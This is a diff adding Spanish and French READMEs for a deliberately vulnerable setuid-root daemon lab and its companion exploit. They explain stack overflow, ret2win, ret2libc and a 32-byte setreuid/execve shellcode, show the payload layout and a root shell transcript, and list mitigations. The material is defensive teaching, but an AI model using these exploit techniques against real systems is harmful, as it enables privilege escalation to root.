+ruid = tú (p. ej. 1000, "hanez") +euid = el dueño (p. ej. 0, "root") +``` + +El proceso tiene por tanto **la autoridad de root**, aunque el usuario que lo +inició sea perfectamente normal. Cada comprobación que hace el kernel — ¿puede +este proceso leer `/etc/shadow`? ¿escribir un archivo? ¿matar a otro proceso? — +se responde con `euid`, es decir, "sí, es root". + +`foosd` es un demonio de red. Enlaza un puerto y luego hace `fork()` de un hijo +por conexión. Un fork *hereda* el euid, así que cada hijo que gestiona una +conexión también es root. El desbordamiento en `vulnerable_handler()` de +`foosd` es por tanto un desbordamiento *dentro de un proceso root*. + +**Diagnostícalo tú mismo cuando el demonio esté corriendo:** + +```console +$ ./foosd ... # mira la línea de log que imprime al arrancar +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +y desde el exploit: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. El laboratorio de un vistazo + +| Archivo | Rol | +|------|------| +| `foosd.c` | El demonio deliberadamente vulnerable (dueño de los errores). Ejecútalo como *binario setuid-root* para la demo del shell root. | +| `foosc.c` | El exploit. Usa por defecto la técnica de shellcode `setreuid + execve` de 32 bytes. | +| `shellcode.S` | El shellcode de referencia; `make verify` lo compara con el array de bytes en `foosc.c`. | +| `tests/pty_suid_test.c` | Harness de prueba. Conduce a `foosc` a través de un pseudo-terminal y prueba tanto "corrió un shell" *como* "era root" (`uid=0(`). | +| `Makefile` | Compilación, helpers `setuid`/`unsetuid`, matriz de prueba. | +| `README.md` | Este archivo. | + +> **¿Por qué una pty?** La última acción del exploit es retransmitir tu +> terminal al shell que corre en la víctima. Un pipe o un here-doc llega al +> lado equivocado de esa retransmisión; se requiere un terminal real. + +--- + +## 3. Inicio rápido + +```console +$ make # compila todo, como tu usuario normal +$ make setuid # una vez, pide sudo: chown root + chmod u+s +$ make run # arranca foosd en 127.0.0.1:2343 +$ make test-suid # matriz completa; shellcode + ret2win-root deben dar root +``` + +Prueba de humo interactiva: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- eres root, en la víctima +# exit +``` + +Cuando termines: + +```console +$ make stop +$ make unsetuid # higiene: no dejes nunca un binario root SUID suelto +``` + +--- + +## 4. *¿Cuándo pongo el bit SUID?* — la respuesta que pediste + +Exactamente **una vez, después de compilar, antes de arrancar el demonio para +las demos de shell root** — y solo en una máquina que sea tuya, apta para tirar +y desconectada de la red: + +```console +$ make # compila foosd, foosc, las pruebas +$ make setuid # <-- EL MOMENTO. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # arranca DESPUÉS de poner el bit +``` + +Dos reglas que importan más que el momento exacto: + +1. **Ponlo solo cuando el binario esté terminado.** Si recompilas (`make` / + `make clean`) después de poner el bit, te topas con "Permission denied" al + escribir los archivos de salida propiedad de root — y si fuerzas la + recompilación, el toolchain recrea el archivo **sin** la `s` y deshace la + configuración en silencio. El orden canónico en cualquier recompilación es + por tanto + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Quítalo cuando termines.** `make unsetuid`. Un binario setuid vivo, + propiedad de root, con un error explotable en tu árbol no es una herramienta + pedagógica, es un agujero root con un error de compilación entre él y nada. + En una máquina compartida o de producción: **no hagas nada de esto.** El + demonio además se niega por defecto a enlazarse a nada que no sea loopback + (ver §7). + +Si ejecutas el exploit *sin* poner nunca el bit, nada se rompe — el payload +sigue aterrizando y sigues obteniendo un shell. La diferencia está en un solo +número, y el exploit lo dice en voz alta: + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +El resultado "funcionó, pero no root" es en sí parte del laboratorio. +Recuérdalo para la siguiente sección. + +--- + +## 5. El mecanismo — y el giro que hace interesante a SUID + +### 5.1 El desbordamiento (idéntico a `food`) + +El handler de `foosd` da a un `read()` 512 bytes de confianza mientras le +ofrece un búfer de pila de 64 bytes: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 bytes sobre el borde */ +``` + +En x86-64 la pila crece hacia abajo. El exploit escribe 64 bytes de basura para +llenar `buf`, 8 para llenar el puntero de marco guardado y 8 más para +reemplazar la **dirección de retorno guardada**. Cuando `vulnerable_handler` +ejecuta `ret`, la CPU hace pop del valor del atacante en `RIP` — ejecución de +código controlada por el atacante. El exploit encuentra la distancia exacta (88 +bytes para esta compilación) analizando la salida de `objdump` en lugar de +hardcodearla, así que el número sobrevive a las recompilaciones. + +### 5.2 El giro: el shell se niega a ser root + +Aquí es donde pensar "bug SUID → spawn /bin/sh → root" iría mal, y por qué este +laboratorio tiene exactamente la forma que tiene. + +Cuando corre un programa setuid-root, su `ruid` sigue siendo el usuario que lo +inició y su `euid` es root. Si el programa — o el atacante — lanza ahora un +shell: + +* `execve("/bin/sh")` **no** cambia los uids; el nuevo proceso hereda + `(ruid=1000, euid=0)`. +* bash (y dash) **comprueba exactamente ese estado al arrancar**. Del manual de + bash: *"If the shell is started with the effective user (group) id not equal + to the real user (group) id, and the -p option is not supplied, … the + effective user id is set to the real user id."* + +Así que el shell se mira y *suelta root* — una defensa que los autores de +shell construyeron exactamente contra este ataque (la justificación histórica +era el problema de las shells setuid / scripts setuid). El resultado son los +casos "funcionó, pero no root": + +| Técnica | Qué ejecuta | uid resultante | +|-----------|------------------|---------------| +| `ret2win` | el `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell aterrizado, root reseteado por bash | +| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` fresco | **1000** — el mismo reset, un nivel abajo | +| `ret2win-root` | el `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid limpiado desde C | +| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid limpiado desde código máquina | + +Las que alcanzan root se diferencian de las que no lo hacen en exactamente una +idea: **limpian el uid *real*, no solo el efectivo.** + +```c +setuid(0) /* pone euid a 0, pero ruid sigue en 1000: + bash sigue viendo euid != ruid y resetea IGUAL. */ +setreuid(0, 0) /* pone AMBOS: ruid = euid = 0. + bash ve uids iguales y conserva root. */ +``` + +Por eso el shellcode `/bin/sh` clásico que encuentras por todo internet +empieza con un syscall de limpieza de uid — y por eso el shellcode aquí es de +32 bytes en lugar de 23: las primeras cinco instrucciones son + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Entonces, ¿qué es el exploit, de principio a fin? + +1. `foosc` lee el banner de `foosd` por el socket. Obtiene: + - `ids=0/1000` — euid/ruid (el autodiagnóstico SUID) + - `stack=…` y `libc=…` — punteros (las fugas de ASLR) + - `BUF=…` — la dirección exacta del búfer que está a punto de desbordar +2. Del binario objetivo (vía `objdump`) aprende `rip_off` y las direcciones de + `win()` / `win_root()`. +3. De *su propia* libc (vía `/proc/self/maps` + `dlsym` + un escaneo de memoria) + mide los offsets de `system`, `read`, `/bin/sh` y un gadget `pop rdi; ret` — + nada está hardcodeado. +4. Ensambla el payload. Para `-t shellcode`, es: + `[código setreuid+execve de 32 bytes][basura hasta RIP][ret-fix][dirección de buf]`. +5. El `read()` de `foosd` se desborda; el `ret` aterriza en el shellcode; el + kernel ejecuta `setreuid(0,0)` (sin problema: euid 0 es privilegiado) y luego + `execve` de `/bin/sh`. bash arranca con `ruid == euid == 0` y sigue siendo + root. +6. `foosc` retransmite tu terminal a ese shell root, hasta que escribes `exit`. + +Un detalle de comodidad que cuesta caro a la gente si se pasa por alto: el +exploit prueba cada comportamiento de limpieza de uid **sin** necesitar primero +el bit setuid. Ejecuta `make test` antes de `make setuid`, y verás cada técnica +aterrizar un shell con `ROOT=MISSING`; ejecuta `make test-suid` después de +`make setuid`, y `ROOT=SEEN` aparece en las dos técnicas que limpian el uid +real. Ese A/B es toda la lección, representada en diez segundos. + +--- + +## 6. Los viejos one-liners — y por qué la mayoría están muertos + +Si has leído sobre SUID, has leído sobre secuestro de `PATH`, `LD_PRELOAD` y +shells setuid. Los tres son clásicos, y los tres fallan en un sistema moderno +contra *este programa*. Vale la pena saber exactamente por qué, porque las +razones son las defensas que obtienes gratis: + +| Clase de ataque | Vieja afirmación | Por qué falla en una máquina moderna | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` de una biblioteca maliciosa | "El programa setuid carga mi `.so` y ejecuta mi código como root." | El kernel marca un binario setuid como **AT_SECURE**; glibc ignora entonces `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` y compañía. El entorno se trata como *entrada no confiable*. `LD_PRELOAD` contra un binario setuid es un no-op. | +| Secuestro de `PATH` (`system("ls")` con un PATH envenenado) | "Apunta PATH a un directorio con mi `ls` falso; el programa root lo ejecutará." | Otra cara de la misma defensa: un proceso AT_SECURE recibe un **PATH saneado** (un valor por defecto seguro, más o menos `/usr/local/bin:/usr/bin:/bin`) para `system()`/`execvp`, así que el directorio envenenado nunca se consulta. | +| Inyección de comando `system()` setuid | "El comando inyectado se ejecuta con euid 0." | `system()` ejecuta el comando en un `/bin/sh` nuevo, y ese shell — §5.2 — resetea `euid = ruid` al arrancar. El comando inyectado se ejecuta con el uid *real*. (Sigue siendo un error; solo que ya no escala vía `/bin/sh`.) | +| Shell root setuid en disco (`cp /bin/sh /tmp; chmod u+s`) | "Ejecútalo, consigue root." | Exactamente la defensa de arriba, y esa es la razón por la que las distros modernas no entregan ningún shell root setuid. Incluso si consigues fabricar uno, bash se niega a mantener euid 0 salvo que se inicie con `-p`. | + +Lo que sigue vivo, y eso es este laboratorio: **el programa *ya* es root cuando +corre.** No necesitas el entorno ni `system()`; necesitas que el programa +ejecute *tu* código (vía un error de corrupción de memoria) mientras es +privilegiado, y que tu código sea lo bastante cuidadoso para corregir él mismo +el desajuste de uids — `setreuid(0,0)` — antes de entregarte un shell. La +corrupción de memoria + SUID es la combinación que todavía termina en `uid=0`, +y eso es exactamente por qué los lenguajes seguros en memoria, las canaries y +las pilas no-ejecutables no son una decisión de moda. + +--- + +## 7. Las barandillas de seguridad integradas en el demonio + +`foosd` es deliberadamente la *peor* pieza de software de este repositorio, así +que también lleva más barandillas: + +1. **Solo loopback, impuesto.** `foosd` rechaza cualquier dirección de bind + fuera del loopback, salvo que pases `-L`. Un listener setuid-root en una + interfaz real es un servicio root remoto; el rechazo es el valor por defecto, + para que el estado peligroso tenga que escribirse deliberadamente. +2. **Autodiagnóstico.** Al arrancar registra `ruid`/`euid` y si corre como root, + para que la consola muestre el estado del que depende el exploit. +3. **El log nunca llega al cliente.** El demonio reserva un descriptor de log + privado antes de que los sockets reemplacen a fd 1, para que la salida del + crash-reporter y las rutas internas no puedan leerse de vuelta por el cable + por el atacante. +4. **Crash-reporter.** Un handler de SIGSEGV registra `RIP`/`RSP` — el valor que + el atacante escribió en la dirección de retorno — para que una toma de + control exitosa sea visible en `foosd.log` en lugar de ser una muerte + silenciosa. +5. **`make unsetuid`.** Quitar el bit está scripteado, porque dejarlo puesto es + el modo de fallo que la gente realmente tiene. + +--- + +## 8. Mitigaciones — qué detiene cada una y qué *no* detiene + +Aplicadas a `foosd` vía `make hardened`, una a una o juntas: + +| Mitigación | Qué detiene | Qué *no* detiene | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | El desbordamiento: `ret` detecta una canary destruida y aborta antes de que se use la dirección del atacante. Detiene aquí **las cuatro** técnicas — comparten el único `read()` vulnerable. | Nada por *diseño*: el binario sigue siendo setuid-root; otro error (format-string-`%n`, heap-overflow, use-after-free) no tiene canary que disparar. | +| `-fPIE -pie` (ASLR para el binario) | El uso de direcciones `win()`/`win_root()` predecibles (las técnicas ret2win). | La técnica de shellcode, si todavía se filtra una dirección de pila (línea `BUF=`). | +| `-z noexecstack` (NX / W^X) | El shellcode: la CPU se niega a buscar instrucciones en una página solo-de-datos, así que un salto a `buf` es un SIGSEGV. | ROP — ejecutar código que ya existe (`ret2libc`). | +| Las tres juntas | Un binario difícil de desbordar, randomizado, con pila no ejecutable. Así se ve una build endurecida normal. | El bit setuid. **Un binario SUID endurecido sigue siendo un binario SUID.** Si sobrevive cualquier error de memoria alcanzable, sigue siendo "error en un proceso root". | + +La prueba en consola es `make test-hardened`, que intercambia la build +endurecida y muestra las técnicas muriendo en la canary, mientras +`foosd_hardened.log` captura `*** stack smashing detected ***`. + +Dos mitigaciones de nivel de diseño que ningún flag de compilador entrega, y +que el laboratorio principal (`food`) también usa: + +- **Mínimo privilegio.** Un demonio para un puerto no privilegiado (2343 > + 1024) no tiene ninguna necesidad legítima de root. Un `foosd` correcto + enlazaría y luego haría `setgroups`/`setgid`/`setuid` a una cuenta no + privilegiada y *confirmaría que se mantuvo* (la versión correcta está en la + fuente como `drop_privs()`, nunca llamada — el no-lamarlo es el error n.º 3 + del laboratorio). +- **Limita el read.** `n = read(fd, buf, sizeof(buf) - 1)`. Una línea correcta + supera a todos los flags de compilador de la tabla. + +--- + +## 9. El protocolo wire (para que puedas leer el demonio con netcat) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — no podía imprimirse como `euid=`/`ruid=`, porque el harness + de prueba prueba un shell haciendo grep del `uid=` literal, y el banner no + debe contenerlo (una sonda que comparte la firma con la respuesta es una + trampa clásica de falso positivo; ver el comentario en `foosd.c`). El harness + además exige la forma estricta de salida `id` — `uid=NNN(...)` — para que nada + de lo que imprima el demonio o el exploit pueda satisfacer la comprobación + por accidente: el propio "target euid=… ruid=…" de `foosc` contiene `uid=` + como subcadena, lo que una vez hizo que una prueba endurecida reportara un + shell que nunca había corrido. +* `stack=`, `libc=`, `BUF=` — las fugas de ASLR: dejan que el shellcode y + ret2libc calculen direcciones exactas. + +--- + +## 10. Ejercicios + +1. **Considera la degradación no-root.** Ejecuta `make test` *antes* de `make + setuid`, y luego otra vez después. Explica el cambio a `ROOT=SEEN` con la + historia ruid/euid de la §5.2. +2. **Lee el crash.** Ejecuta `./foosc -t demo -n` y luego lee `foosd.log`. La + línea `RIP=0x4141414141414141` es la basura del atacante — la prueba de que + es el desbordamiento, no el azar, quien controla la ejecución. +3. **Añade la canary.** `make hardened` y modifica tú mismo el bucle + `test-hardened`; la línea de log `*** stack smashing detected ***` es la + defensa funcionando. +4. **Desactiva la fuga.** Comenta la línea `BUF=` en `foosd.c`, recompila, y + mira `-t shellcode` pasar de determinista a un juego de adivinanzas. Esa + única línea es la razón por la que los bypass reales de ASLR son todo un + campo. +5. **El experimento `-p`.** En una copia de `win()`, cambia `execl("/bin/sh", + "sh", NULL)` por `execl("/bin/sh", "sh", "-p", NULL)` y observa root. `-p` + es la salida de emergencia documentada del guardián del shell — y la razón + por la que el consejo "solo haz spawn de un shell" de los viejos write-ups es + incompleto. +6. **¿Por qué no `setuid(0)`?** Reescribe el shellcode para llamar a `setuid(0)` + en lugar de `setreuid(0,0)` (syscall 105). El shell sigue aterrizando — y + sigue cayendo a `uid=1000`. Es el experimento de una sola línea más + instructivo de todo el repositorio. + +--- + +## 11. Seguridad y limpieza + +- Solo loopback, por defecto y por diseño; `-L` enlaza más lejos, y solo una VM + apta para tirar debería siquiera considerarlo. +- Esto es un laboratorio de shell root. No lo ejecutes en una máquina que + importe, y no apuntes `foosc -h` a algo que no poseas. +- Rito de limpieza: `make stop` y luego `make unsetuid`, y si quieres el árbol + impecable otra vez: `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.FR.md b/suid/README.FR.md new file mode 100644 index 0000000..191b9f0 --- /dev/null +++ b/suid/README.FR.md @@ -0,0 +1,404 @@ +# Lab RCE racine par SUID — `foosd` (démon) + `foosc` (exploit) + +Un compagnon du laboratoire principal (`food` / `fooc`, un démon ordinaire où +un débordement de tampon vous donne un shell *utilisateur*). Celui-ci ajoute le +changement d'un seul caractère le plus dangereux d'Unix : **le bit setuid**. + +> `chmod u+s` transforme « l'attaquant peut exécuter du code sur cette machine » +> en « l'attaquant peut exécuter du code en tant que **root** sur cette +> machine ». + +Cette phrase, c'est tout le laboratoire. Tout ce qui suit est le mécanisme +qu'il y a dessous, écrit noir sur blanc, pour que lorsque vous écrivez votre +propre logiciel, vous sachiez précisément quels deux ou trois attributs de +système de fichiers et flags de compilateur décident si un bug de sécurité +mémoire dans votre code est une nuisance ou un shell root. + +La démo finale, quand `foosd` est setuid-root, est un **shell root** ouvert sur +le réseau en exécutant 32 octets de shellcode écrite à la main. + +--- + +## 1. Ce que fait réellement le bit setuid + +Chaque processus Linux porte trois user-ID, et le bit setuid touche à la +relation entre eux : + +| ID | Nom | Signification | +|----|------|---------| +| `ruid` | user-ID réel | le compte qui a *démarré* le processus | +| `euid` | user-ID effectif | ce que le noyau vérifie quand il applique les accès | +| (saved) | set-user-ID sauvegardé | un « créneau » auquel un processus privilégié peut revenir plus tard | + +Un programme normal a `ruid == euid`. Quand vous exécutez un binaire avec le +bit setuid posé, appartenant à root : + +```text +ruid = vous (ex. 1000, « hanez ») +euid = le propriétaire (ex. 0, « root ») +``` + +Le processus a donc **l'autorité de root**, même si l'utilisateur qui l'a +lancé est parfaitement ordinaire. Chaque contrôle que le noyau effectue — ce +processus peut-il lire `/etc/shadow` ? écrire un fichier ? tuer un autre +processus ? — est tranché avec `euid`, donc « oui, il est root ». + +`foosd` est un démon réseau. Il lie un port puis `fork()` un enfant par +connexion. Un fork *hérite* de l'euid, donc chaque enfant qui traite une +connexion est aussi root. Le débordement dans `vulnerable_handler()` de +`foosd` est donc un débordement *à l'intérieur d'un processus root*. + +**Diagnostiquez-le vous-même quand le démon tourne :** + +```console +$ ./foosd ... # voyez la ligne de log qu'il affiche au démarrage +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +et depuis l'exploit : + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. Le lab en un coup d'œil + +| Fichier | Rôle | +|------|------| +| `foosd.c` | Le démon volontairement vulnérable (propriétaire des bugs). Exécutez-le en *binaire setuid-root* pour la démo du shell root. | +| `foosc.c` | L'exploit. Utilise par défaut la technique de shellcode `setreuid + execve` de 32 octets. | +| `shellcode.S` | La shellcode de référence ; `make verify` la diff contre le tableau d'octets dans `foosc.c`. | +| `tests/pty_suid_test.c` | Harnesse de test. Conduit `foosc` à travers un pseudo-terminal et prouve à la fois « un shell a tourné » *et* « il était root » (`uid=0(`). | +| `Makefile` | Compilation, helpers `setuid`/`unsetuid`, matrice de test. | +| `README.md` | Ce fichier. | + +> **Pourquoi un pty ?** La dernière action de l'exploit est de relayer votre +> terminal vers le shell qui tourne sur la victime. Un pipe ou un here-doc +> arrive du mauvais côté du relais ; un vrai terminal est requis. + +--- + +## 3. Démarrage rapide + +```console +$ make # compilez tout, en tant que votre utilisateur normal +$ make setuid # une fois, demande sudo : chown root + chmod u+s +$ make run # démarre foosd sur 127.0.0.1:2343 +$ make test-suid # matrice complète ; shellcode + ret2win-root doivent donner root +``` + +Test de fumée interactif : + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- vous êtes root, sur la victime +# exit +``` + +Quand vous avez fini : + +```console +$ make stop +$ make unsetuid # hygiène : ne laissez jamais un binaire root SUID traîner +``` + +--- + +## 4. *Quand dois-je poser le bit SUID ?* — la réponse que vous avez demandée + +Exactement **une fois, après la compilation, avant de démarrer le démon pour +les démos de shell root** — et uniquement sur une machine qui est à vous, +bonne à jeter et déconnectée du réseau : + +```console +$ make # compilez foosd, foosc, les tests +$ make setuid # <-- L'INSTANT. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # démarrez APRÈS avoir posé le bit +``` + +Deux règles plus importantes que le moment précis : + +1. **Posez-le seulement quand le binaire est fini.** Si vous recompilez + (`make` / `make clean`) après avoir posé le bit, vous tombez sur un + « Permission denied » en écrivant les fichiers de sortie appartenant à root + — et si vous forcez la recompilation, la chaîne d'outils recrée le fichier + **sans** le `s` et défait silencieusement la configuration. L'ordre + canonique à chaque recompilation est donc + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Enlevez-le quand vous avez fini.** `make unsetuid`. Un binaire setuid + vivant, appartenant à root, avec un bug exploitable dans votre arborescence, + ce n'est pas un outil pédagogique, c'est un trou root avec une erreur de + compilation entre lui et rien. Sur une machine partagée ou de production : + **ne faites rien de tout cela.** Le démon refuse d'ailleurs par défaut de se + lier ailleurs qu'en loopback (voir §7). + +Si vous exécutez l'exploit *sans* jamais poser le bit, rien ne casse — la +payload atterrit toujours, et vous obtenez toujours un shell. La différence +tient en un seul chiffre, et l'exploit le dit à voix haute : + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +Le résultat « ça marche, mais pas root » fait lui-même partie du lab. Gardez-le +en tête pour la section suivante. + +--- + +## 5. Le mécanisme — et la pirouette qui rend SUID intéressant + +### 5.1 Le débordement (identique à `food`) + +Le handler de `foosd` donne à un `read()` 512 octets de confiance en lui +tendant un tampon de pile de 64 octets : + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120 : 448 octets par-dessus le bord */ +``` + +Sur x86-64, la pile croît vers le bas. L'exploit écrit 64 octets de bourrage +pour remplir `buf`, 8 pour remplir le pointeur de trame sauvegardé et 8 de +plus pour remplacer l'**adresse de retour sauvegardée**. Quand +`vulnerable_handler` exécute `ret`, le CPU pousse la valeur de l'attaquant +dans `RIP` — une exécution de code contrôlée par l'attaquant. L'exploit trouve +la distance exacte (88 octets pour cette compilation) en analysant la sortie +de `objdump` au lieu de la hardcoder, donc le chiffre survit aux +recompilations. + +### 5.2 La pirouette : le shell refuse d'être root + +Voici où penser « bug SUID → spawn /bin/sh → root » irait de travers, et +pourquoi ce lab a exactement la forme qu'il a. + +Quand un programme setuid-root tourne, son `ruid` est toujours l'utilisateur +qui l'a lancé, et son `euid` est root. Si le programme — ou l'attaquant — lance +maintenant un shell : + +* `execve("/bin/sh")` ne change **pas** les uids ; le nouveau processus hérite + de `(ruid=1000, euid=0)`. +* bash (et dash) **vérifie exactement cet état au démarrage**. D'après le + manuel de bash : *« If the shell is started with the effective user (group) + id not equal to the real user (group) id, and the -p option is not supplied, + … the effective user id is set to the real user id. »* + +Donc le shell se regarde et *lâche root* — une défense que les auteurs de +shell ont construite précisément contre cette attaque (la justification +historique était le problème des shell setuid / scripts setuid). Le résultat, +ce sont les cas « ça marche, mais pas root » : + +| Technique | Ce qu'elle exécute | uid résultant | +|-----------|------------------|---------------| +| `ret2win` | `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell atterri, root réinitialisé par bash | +| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` tout frais | **1000** — même réinitialisation, un niveau plus bas | +| `ret2win-root` | `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid nettoyé depuis le C | +| `shellcode` | 32 octets : `setreuid(0,0); execve("/bin/sh")` | **0** — ruid nettoyé depuis le code machine | + +Celles qui atteignent root diffèrent de celles qui ne l'atteignent pas par +exactement une idée : **elles nettoient l'uid *réel*, pas seulement +l'effectif.** + +```c +setuid(0) /* met euid à 0, mais ruid reste 1000 : + bash voit toujours euid != ruid et réinitialise QUAND MÊME. */ +setreuid(0, 0) /* met LES DEUX : ruid = euid = 0. + bash voit des uids égaux et garde root. */ +``` + +C'est pourquoi la shellcode `/bin/sh` classique que vous trouvez partout sur +Internet commence par un syscall de nettoyage d'uid — et c'est pourquoi la +shellcode fait ici 32 octets au lieu de 23 : les cinq premières instructions +sont + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Alors, c'est quoi l'exploit, de bout en bout ? + +1. `foosc` lit le banner de `foosd` sur la socket. Il obtient : + - `ids=0/1000` — euid/ruid (l'autodiagnostic SUID) + - `stack=…` et `libc=…` — des pointeurs (les fuites ASLR) + - `BUF=…` — l'adresse exacte du tampon qu'il s'apprête à faire déborder +2. Depuis le binaire cible (via `objdump`), il apprend `rip_off` et les + adresses de `win()` / `win_root()`. +3. Depuis *sa propre* libc (via `/proc/self/maps` + `dlsym` + un scan mémoire), + il mesure les offsets de `system`, `read`, `/bin/sh` et un gadget + `pop rdi; ret` — rien n'est hardcodé. +4. Il assemble la payload. Pour `-t shellcode`, c'est : + `[code setreuid+execve de 32 octets][bourrage jusqu'à RIP][ret-fix][adresse de buf]`. +5. Le `read()` de `foosd` déborde ; le `ret` atterrit sur la shellcode ; le + noyau exécute `setreuid(0,0)` (pas de souci : euid 0 est privilégié) puis + `execve` de `/bin/sh`. bash démarre avec `ruid == euid == 0` et reste root. +6. `foosc` relaie votre terminal vers ce shell root, jusqu'à ce que vous + tapiez `exit`. + +Un détail de commodité qui coûte cher à beaucoup de gens s'il est manqué : +l'exploit teste chaque comportement de nettoyage d'uid **sans** avoir besoin du +bit setuid au préalable. Lancez `make test` avant `make setuid`, et vous verrez +chaque technique atterrir un shell avec `ROOT=MISSING` ; lancez `make test-suid` +après `make setuid`, et `ROOT=SEEN` apparaît pour les deux techniques qui +nettolent l'uid réel. Ce A/B est toute la leçon, jouée en dix secondes. + +--- + +## 6. Les vieux one-liners — et pourquoi la plupart sont morts + +Si vous avez lu sur SUID, vous avez lu sur les détournements de `PATH`, sur +`LD_PRELOAD` et sur les shells setuid. Les trois sont classiques, et les trois +échouent sur un système moderne contre *ce programme*. Ça vaut le coup de +savoir exactement pourquoi, parce que les raisons sont les défenses que vous +avez gratuitement : + +| Classe d'attaque | Vieille affirmation | Pourquoi elle échoue sur une machine moderne | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` d'une bibliothèque malveillante | « Le programme setuid charge mon `.so` et exécute mon code en tant que root. » | Le noyau marque un binaire setuid comme **AT_SECURE** ; glibc ignore alors `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` et compagnie. L'environnement est traité comme *entrée non fiable*. `LD_PRELOAD` contre un binaire setuid est un no-op. | +| Détournement de `PATH` (`system("ls")` avec un PATH empoisonné) | « Pointez PATH vers un répertoire avec mon faux `ls` ; le programme root l'exécutera. » | Un autre visage de la même défense : un processus AT_SECURE reçoit un **PATH assaini** (une valeur sûre par défaut, grossièrement `/usr/local/bin:/usr/bin:/bin`) pour `system()`/`execvp`, donc le répertoire empoisonné n'est jamais consulté. | +| Injection de commande `system()` setuid | « La commande injectée s'exécute avec euid 0. » | `system()` exécute la commande dans un `/bin/sh` tout frais, et ce shell — §5.2 — réinitialise `euid = ruid` au démarrage. La commande injectée s'exécute avec l'uid *réel*. (C'est toujours un bug ; ça n'escalade juste plus via `/bin/sh`.) | +| Shell root setuid sur disque (`cp /bin/sh /tmp; chmod u+s`) | « Exécute-le, obtiens root. » | Exactement la défense ci-dessus, et c'est pourquoi les distros modernes ne livrent aucun shell root setuid. Même si vous réussissez à en fabriquer un, bash refuse de garder euid 0 sauf s'il est lancé avec `-p`. | + +Ce qui reste vivant, et c'est ce lab : **le programme est *déjà* root quand il +tourne.** Vous n'avez besoin ni de l'environnement ni de `system()` ; vous avez +besoin que le programme exécute *votre* code (via un bug de corruption +mémoire) pendant qu'il est privilégié, et que votre code soit assez soigneux +pour corriger lui-même le mismatch d'uid — `setreuid(0,0)` — avant de vous +tendre un shell. Corruption mémoire + SUID est la combinaison qui finit encore +en `uid=0`, et c'est exactement pourquoi les langages sûrs en mémoire, les +canaries et les piles no-execute ne sont pas une décision de mode. + +--- + +## 7. Les garde-fous intégrés au démon + +`foosd` est volontairement le *pire* morceau de logiciel de ce dépôt, alors il +porte aussi le plus de garde-fous : + +1. **Loopback seulement, imposé.** `foosd` refuse toute adresse de bind hors + loopback, sauf si vous passez `-L`. Un listener setuid-root sur une vraie + interface est un service root distant ; le refus est la valeur par défaut, + pour que l'état dangereux doive être tapé délibérément. +2. **Autodiagnostic.** Au démarrage, il journalise `ruid`/`euid` et s'il + tourne en root, pour que la console montre l'état dont dépend l'exploit. +3. **Le log n'atteint jamais le client.** Le démon réserve un descripteur de + log privé avant que les sockets ne remplacent fd 1, pour que la sortie du + crash-reporter et les chemins internes ne puissent pas être relus sur le + fil par l'attaquant. +4. **Crash-reporter.** Un handler SIGSEGV journalise `RIP`/`RSP` — la valeur + que l'attaquant a écrite dans l'adresse de retour — pour qu'une prise de + contrôle réussie soit visible dans `foosd.log` au lieu d'être une mort + silencieuse. +5. **`make unsetuid`.** Retirer le bit est scripté, parce que le laisser posé + est le mode d'échec que les gens ont réellement. + +--- + +## 8. Contre-mesures — ce que chacune arrête et ce qu'elle *n'arrête pas* + +Appliquées à `foosd` via `make hardened`, une par une ou ensemble : + +| Contre-mesure | Ce qu'elle arrête | Ce qu'elle *n'arrête pas* | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | Le débordement : `ret` détecte une canary écrasée et abort avant que l'adresse de l'attaquant soit utilisée. Arrête ici **les quatre** techniques — elles partagent le même `read()` vulnérable. | Rien par *conception* : le binaire est toujours setuid-root ; un autre bug (format-string-`%n`, heap-overflow, use-after-free) n'a pas de canary à déclencher. | +| `-fPIE -pie` (ASLR pour le binaire) | L'utilisation d'adresses `win()`/`win_root()` prévisibles (les techniques ret2win). | La technique shellcode, si une adresse de pile fuite encore (ligne `BUF=`). | +| `-z noexecstack` (NX / W^X) | La shellcode : le CPU 